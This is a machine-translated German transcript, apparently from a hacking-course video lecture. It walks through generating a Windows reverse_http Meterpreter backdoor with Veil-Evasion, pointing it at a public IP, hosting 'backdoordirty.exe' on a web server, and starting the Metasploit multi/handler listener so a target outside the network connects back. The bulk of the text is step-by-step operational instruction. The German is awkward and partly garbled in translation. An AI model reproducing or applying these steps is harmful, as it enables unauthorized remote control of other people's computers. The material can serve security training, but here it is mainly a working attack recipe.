Erzieher: Okay, jetzt
lass uns weitermachen.
Erstellen wir eine Hintertür,
und der einzige Unterschied besteht darin, dass wir die IP
auf die öffentliche IP anstatt auf die lokale IP setzen.
Daher erstellen wir eine Hintertür genau
so, wie wir sie beim Hacken
erstellt haben Geräte im selben Netzwerk.
Also benutze ich Veil-Evasion und mache das schnell, weil
wir es geschafft haben und es
nichts Neues gibt, also können wir List
zeigen, was wir haben.
Ich werde Nummer 9 verwenden, damit es genau die
gleiche Nutzlast ist, die wir in unserem vorherigen Video verwendet haben.
Es ist die umgekehrte http-Nutzlast.
Wir werden also 9
verwenden, und wir können die Optionen hier sehen.
Wir können sehen, dass der LPORT standardmäßig auf 8080 eingestellt ist
und ich werde das auch so lassen.
Das einzige, was ich ändern werde, ist der LHOST, und
in den vorherigen Videos, als wir auf unserem
eigenen Computer Verbindungen erhielten, haben wir ihn
auf die lokale IP eingestellt. Wenn ich also ifconfig
wlan0 verwende, haben wir ihn eingestellt
bis 192. 168. 0. 1, weil
dies die IP ist, die die Geräte im Netzwerk verwenden.
Nun, wann immer Sie Dinge außerhalb erledigen
möchten, möchten wir die echte IP verwenden, da diese internen
IPs für Computer außerhalb des Netzwerks nicht sichtbar sind.
Also verwende ich die IP, die ich bei
Google sehe. Wenn ich 'Was ist meine IP'
eingebe, bekomme ich diese IP und ich verwende sie als LHOST
in meiner Hintertür, also kopiere ich
sie einfach das und ich
werde es hier einstellen.
Und tut mir leid, dass ich es nicht
richtig eingefügt habe.
Klicken Sie auf "Info", um sicherzustellen, dass
alles richtig eingerichtet ist. Daher verwenden wir PORT 8080
die öffentliche IP. Dies ist der wichtigste Schritt in diesem
Schritt. Dann werden wir "generieren".
Und wir werden das nur "backdoordirty" nennen. exe '.
Sie drücken die Eingabetaste.
Und das hat meine Nutzlast für mich generiert, also
ist sie hier gespeichert.
Also nochmal,
wie immer kopiere ich das und
füge es in mein var www html
ein und ich zeige dir, wie du
es sogar von außerhalb des Netzwerks aus dem Internet herunterladen kannst.
Also kopiere ich das einfach in mein Webserververzeichnis.
Okay,
das ist alles erledigt.
Jetzt müssen wir nur noch auf
eingehende Verbindungen achten.
Wir werden das mit dem Multi / Handler machen,
also haben wir das schon wieder gemacht.
Ich mache es nur ganz schnell.
Und wenn ich auf den Multi / Handler
höre, höre ich tatsächlich auf meine lokale IP, also höre ich
nicht auf die externe, sondern auf
die lokale, weil ich nicht auf sie
hören kann das Äußere.
Eigentlich bin ich im Netzwerk und
habe nur die Kontrolle über meinen aktuellen Computer.
Was ich jetzt tun werde, ist
hier, in der Kali-Maschine höre ich PORT 8080, und
in dem externen Gerät wird die Backdoor versuchen,
eine Verbindung mit der
Backdoor herzustellen, also richten wir den nächsten Schritt ein IP-Weiterleitung, damit der
Router die PORTs 8080 an den Kali-Computer weiterleiten kann, aber
zuerst müssen
wir den PORT 8080 auf
dem Kali-Computer abhören und das
tun wir mit dem Multi / Handler.
Also mache ich einfach msfconsole.
Wir haben
das schon mal gemacht, also mache ich es schnell.
Also werde ich Exploit / Multi / Handler verwenden.
Ich werde die Nutzlast auf
windows / meterpreter / reverse_http setzen.
Dann setzen wir den LPORT auf 8080, also ist
das der Port, an dem wir Verbindungen herstellen, und dann
setze ich den LHOST, den
Listening Host, auf
meine private IP, wie ich vorher sagte.
Ich werde LHOST
auf 192
setzen. 168. 0. 11 '.
Jetzt werde ich "Optionen anzeigen", um
sicherzustellen, dass alles richtig gemacht wird,
und wir können sehen, dass der LPORT auf 8080 und der lokale Host auf
192 eingestellt ist. 168. 0. 11
und wir verwenden eine Nutzlast von
windows / meterpreter / reverse_http.
Also ist alles gut.
Ich werde 'ausbeuten'.
Wie Sie hier
sehen können, lauscht es auf meiner
privaten IP und auf PORT 8080.
Nun haben wir die beiden
Hauptschritte ausgeführt: Wir
haben eine Backdoor erstellt, und die Backdoor gibt
uns Verbindungen zurück, die auf der tatsächlichen
IP-Adresse basieren, und wir lauschen auf unserem lokalen Computer.
Wir hören PORT 8080 in der Kali-Maschine.
Wenn die Zielperson die
Backdoor im Internet ausführt, versucht die
Backdoor, eine Verbindung
zu dieser IP auf PORT 8080 herzustellen.
Das einzige Problem ist jetzt das Gateway,
das hier der Router ist.
PORT 8080 ist nicht geöffnet, daher
wird die Verbindung hergestellt.
Es wird nicht wissen, was damit zu
tun ist, also müssen
wir den Router so konfigurieren, dass er es
anzeigt, wenn Sie etwas erhalten, wenn Sie eine Verbindung zu PORT 8080
herstellen. Ich möchte, dass Sie es auf meinen Kali-Computer umleiten.
Und das können wir auf zwei
Arten tun, und wir werden in der nächsten Vorlesung darüber sprechen.